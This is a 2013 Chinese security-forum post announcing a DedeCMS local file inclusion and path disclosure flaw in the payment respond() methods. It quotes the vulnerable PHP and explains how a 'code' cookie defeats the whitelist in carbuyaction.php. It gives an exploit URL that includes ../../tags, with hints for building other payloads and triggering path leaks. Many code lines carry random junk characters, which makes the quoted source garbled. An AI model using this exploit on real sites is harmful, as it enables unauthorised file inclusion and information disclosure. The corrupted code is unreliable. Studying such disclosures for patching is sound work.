找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2212|回复: 0
打印 上一主题 下一主题

dedecms本地文件包含及物理路径泄露0day

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-4 17:25:17 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
晚餐吃撑了,瞄下代码消化消化。最近Php0day群里的兄弟都在讨论dede洞多,赶紧下了套,用editplus搜索了几个关键字,果然发现些问题。(话说平时写代码也喜欢用editplus,小巧方便多年习惯)
5 N% w) @# V& a4 j6 W. u, U6 a* [3 B0 W3 R# S: I  H* I# t9 `  q
出现漏洞的两个文件为:
2 |! E: Y5 w% c/ N$ zInclude/payment/alipay.php
0 y4 m* Q7 }/ LInclude/payment/yeepay.php  X. z7 s; f+ p$ O" G  P# T
漏洞均出现在respond方法里,估计这两个文件是临时工写的。
) W/ u! h9 T$ f1 h5 p* y7 q+ J
; b+ T! T4 l" x9 CInclude/payment/alipay.php
; v, _8 I/ s- D% U$ Q2 \* v$ e% `
& l- l% P; a: T, [1 h......
# K- g  R% ?2 X4 m+ U9 X6 M   function respond()1 f# O+ ^- b% s5 V% g0 j/ y: K- q4 x# p
    {8 G8 j/ P* F; i, _  J9 D# |& d
        if (!empty($_POST))
2 Q( P5 B- e  p0 {) C, J        {0 F9 ^! K4 ]: R/ d: S5 ]
            foreach($_POST as $key => $data)' f1 |. T+ b6 J( t7 ^5 E" W; m
            {8 ?/ p1 N* G: ], Y( W. G
                $_GET[$key] = $data;
4 f6 t+ A- @+ u2 W% ?            }0 }5 f$ l- A: q* ^
        }
% D) ]1 o" M  S8 T* L* T9 L% T        /* 引入配置文件 */
' \+ ]2 K, X2 {        require_once DEDEDATA.'/payment/'.$_GET['code'].'.php';
( y) {" f& @2 _; l4 G" J5 H: }......
( q+ v4 d: X0 Q0 d+ Y ( ^& W6 f+ u* x+ T: R
" x. o! W" ^/ G+ e0 d+ ^, m: p: E
大概在133行左右,$_GET[‘code’]没有经过任何判断和过滤。
9 @# m5 r4 I  D) ?
% p( B4 L* T, o4 P6 J. qInclude/payment/yeepay.php2 r7 W2 i  {  C- X
& L( e, [: V$ E+ O; p

) z/ Q4 s( Q! C' i: q$ D+ Y6 W# n$ o& H& o7 Q9 O
......! x3 u& c- `4 f% x. G+ ]; x
    function respond()( Z. H% {  O7 y# r
    {
2 b$ u& O# J% U! H  }0 y 2 j3 T) q2 Z& u' ]4 g
        /* 引入配置文件 */
# a; r! K; r% g; b6 f. C8 i2 ^( R        require_once DEDEDATA.'/payment/'.$_REQUEST['code'].'.php';
$ C% V: h+ |" d; a$ [, _0 e8 i+ Q) P. h
. X; e( f+ d' n$ v; W        $p1_MerId = trim($payment['yp_account']);
+ b2 Q4 v" Y6 [  p( q        $merchantKey = trim($payment['yp_key']);1 @- p. S# K8 \, S. t
......
. i/ F0 k/ S9 W9 M, q
  O" f+ a0 f* w' b
9 s5 U  G$ x' x" ^% E1 x: ?4 g4 g) e
" }6 J2 U+ O: G  E* U; H6 C- L. _( p+ _' @0 U- L. i( r" ~
大概在145行左右,$_REQUEST['code']没有经过任何判断和过滤。
- |* C9 R2 ?4 g! @: g# E' m( T) J, c- w- B; |6 R7 k/ z
这两个方法在plus/carbuyaction.php文件调用。. o7 C, u$ r: L( d' P
3 A# t9 N# Y  _- i! [4 M# B( T
plus/carbuyaction.php
! V; Q6 B7 V/ i; F% ~" O) C
2 o! e$ [2 o/ l/ b8 }4 @/ s......- Y' m& f. h. ?# y6 J- X& w. U
} else if ($dopost == 'return') {- N+ Y- \# D2 b  A* g
    $write_list = array('alipay', 'bank', 'cod', 'yeepay');6 X6 h7 u, J" t" z
    if (in_array($code, $write_list))
, j/ H, F* B3 _$ B+ p, E' h* U    {  t: }! x7 g6 x. M6 V( y# g+ ~5 u
        require_once DEDEINC.'/payment/'.$code.'.php';
+ t! z/ A8 o5 m, q3 f4 ~8 a$ d: m, i        $pay = new $code;  i9 Q$ ^6 c9 G" |! B
        $msg=$pay->respond();, V3 r3 e7 Z- s  e" V
        ShowMsg($msg, "javascript:;", 0, 3000);3 M) h( B* m9 z. T& z6 t* F* z
        exit();  0 v  z2 L9 \2 v/ `
    } else {
) \$ C: Q5 X2 Y        exit('Error:File Type Can\'t Recognized!');
9 P3 u7 s: I3 n+ O    }, T/ W2 K& P  T4 {- R
}
5 S- C/ C- ]( P4 K) Q...... ; `8 m2 G) R$ J: N& r6 [$ C

, `: g  M! I( a9 ]5 M: m' m
& t& d/ s9 w  l1 }
4 s' w' \) G6 s, t" E) _2 ^. K# r2 g* g' u& n5 n

5 B/ W. ^* m: W  L# P" U3 J$ q1 L5 R! X- n  W* q* V- S) ]
大概在334行,当$dopost等于return的时候就开始进入过程了。熟悉dedecms朋友都知道在include/common.inc.php使用了一种类似register_globals的机制。' U5 v# D- r9 X8 {
所以$_GET['code']或$_REQUEST['code']会变成$code,而$code是经过判断的,值必须在$write_list数组以内这样才能继续后面的流程调用respond方法触发漏洞。这样的话貌似就无法控制$_GET['code']为任意值了。
, U* @  j! @' Y% f0 ^4 s! H
6 w; k6 o, D; @9 v: J回到include/common.inc.php来看看他的机制。" m. F" w0 |/ {/ l. o' \

1 s2 ]+ ~" M. ?  y 5 L/ Q* X$ C# O+ V0 Z+ d! [( G. S

1 G$ n. c8 G, b; [: ?9 W0 d0 f. j......# k3 y% E4 P) U. p
foreach(Array('_GET','_POST','_COOKIE') as $_request)
' j; K( X' |0 Y5 T: p# ]{* O; }$ o0 q8 X/ _, v' g. n
        foreach($$_request as $_k => $_v)
% ~: b' E8 d. t) B+ k( Y6 X  |( z        {
% `! ]. q( `: ?* M9 V/ o# \/ D                if($_k == 'nvarname') ${$_k} = $_v;
6 a& V& e# P; Q                else ${$_k} = _RunMagicQuotes($_v);
$ v, Z3 f8 {- d        }# q0 v5 t& j* C: K+ P
}
' S- Y9 D, `5 U( G: E( G...... 3 H6 c% E8 e" X( `- ]
大概在79行,可以看到他是从$_GET,$_POST,$_COOKIE这三个全局变量里取值的。嘿嘿,细心点就发现了吧。从他这个优先机制来讲他是先从get再从post再从cookie也就是说最终$code会是以$_COOKIE[‘code’]的值为准,而我们要控制的是$_GET[‘code’]或$_REQUEST['code']只须要$code的值在$write_list数组以内就行了。Exp:http://www.php0day.com/plus/carb ... amp;code=../../tags上面的Exp是包含根目录下的tags.php文件包含其他后缀请自行构造截断,使用exp测试时须要自己添加一个code等于alipay或yeepay的cookie。暴路径:2 ]( g' f% C, P* }7 ^7 M  `. M8 ~
由于bank和cod这两个文件并没有respond方法,所以如果code等于bank或者cod时将会暴错泄露路径。注:请勿非法测试,产生后果与本人无关。
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表